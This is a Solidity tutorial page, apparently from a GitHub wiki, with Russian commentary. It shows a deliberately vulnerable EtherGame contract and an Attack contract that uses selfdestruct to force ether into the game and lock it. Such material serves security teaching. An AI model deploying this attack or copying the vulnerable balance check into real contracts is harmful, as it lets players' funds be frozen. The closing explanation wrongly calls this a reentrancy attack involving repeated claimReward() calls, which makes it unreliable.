self destruct - demonoved/A-trial-run-in-solidity GitHub Wiki
// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.20 and less than 0.9.0
pragma solidity ^0.8.23;
// контракты можно удалить из блокчейна
// selfdestruct отправляет весь оставшийся эфир, хранящийся в контракте, в обозначенный адресс
// сделаем игру. цель игры - стать 7-м игроком внесшим депозит в размере 1эфира
// можно внести только 1 эфир за раз
//победитель выводит весь эфир
/*
1. разворачиваем EtherGame
2. два игрока соглашаются играть и вносят по 1 эфиру
3. разворачиваем атаку с адресом EtherGame
4. вызываем attack отправив 5 эфира, тем самым ломаем игру
Атака приводит к тому что баланс EtherGame сравнялся с 7 эфиром
соответственно никто не может внести депозит, и победитель не может быть определен
*/
contract EtherGame{
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame){
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
//ломаем игру, отправив эфир так что бы баланс игры был >= 7 эфира
// указать адрес к оплате
address payable addr = payable (address(etherGame));
selfdestruct(addr);
}
}
// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.20 and less than 0.9.0
pragma solidity ^0.8.23;
Эти строки являются комментариями, указывающими лицензию и версию компилятора Solidity, которую следует использовать для этого контракта.
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
Этот фрагмент кода определяет контракт EtherGame. Он содержит две переменные: targetAmount, которая определяет целевую сумму в размере 7 эфиров, и winner, которая будет хранить адрес победителя игры.
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
Эта функция deposit() позволяет игрокам вносить депозит в размере 1 эфира. Она проверяет, что отправленная сумма равна 1 эфиру, и что текущий баланс контракта не превышает целевую сумму. Если текущий баланс достигает целевой суммы, адрес отправителя становится победителем.
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
Эта функция claimReward() позволяет победителю игры получить все эфиры, хранящиеся в контракте. Она проверяет, что вызывающий адрес является победителем, а затем отправляет все доступные эфиры на адрес победителя.
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
Этот фрагмент кода определяет контракт Attack, который может использоваться для атаки на контракт EtherGame. Конструктор контракта Attack принимает экземпляр контракта EtherGame в качестве аргумента. Функция attack() вызывает функцию selfdestruct, которая удаляет контракт Attack и отправляет все эфиры на адрес контракта EtherGame, тем самым ломая игру.
Этот код является примером уязвимости в смарт-контрактах, известной как "Reentrancy Attack" (атака на повторные вызовы). В данном случае, атакующий контракт Attack может вызывать функцию claimReward() контракта EtherGame повторно до тех пор, пока баланс контракта EtherGame не достигнет целевой суммы. Это приводит к тому, что победитель не может быть определен, и игра становится нерабочей.
Такие типы контрактов могут использоваться для различных целей, включая игры на блокчейне, финансовые приложения и децентрализованные организации. Однако, важно учитывать безопасность при разработке смарт-контрактов и устранять уязвимости, чтобы избежать возможных атак.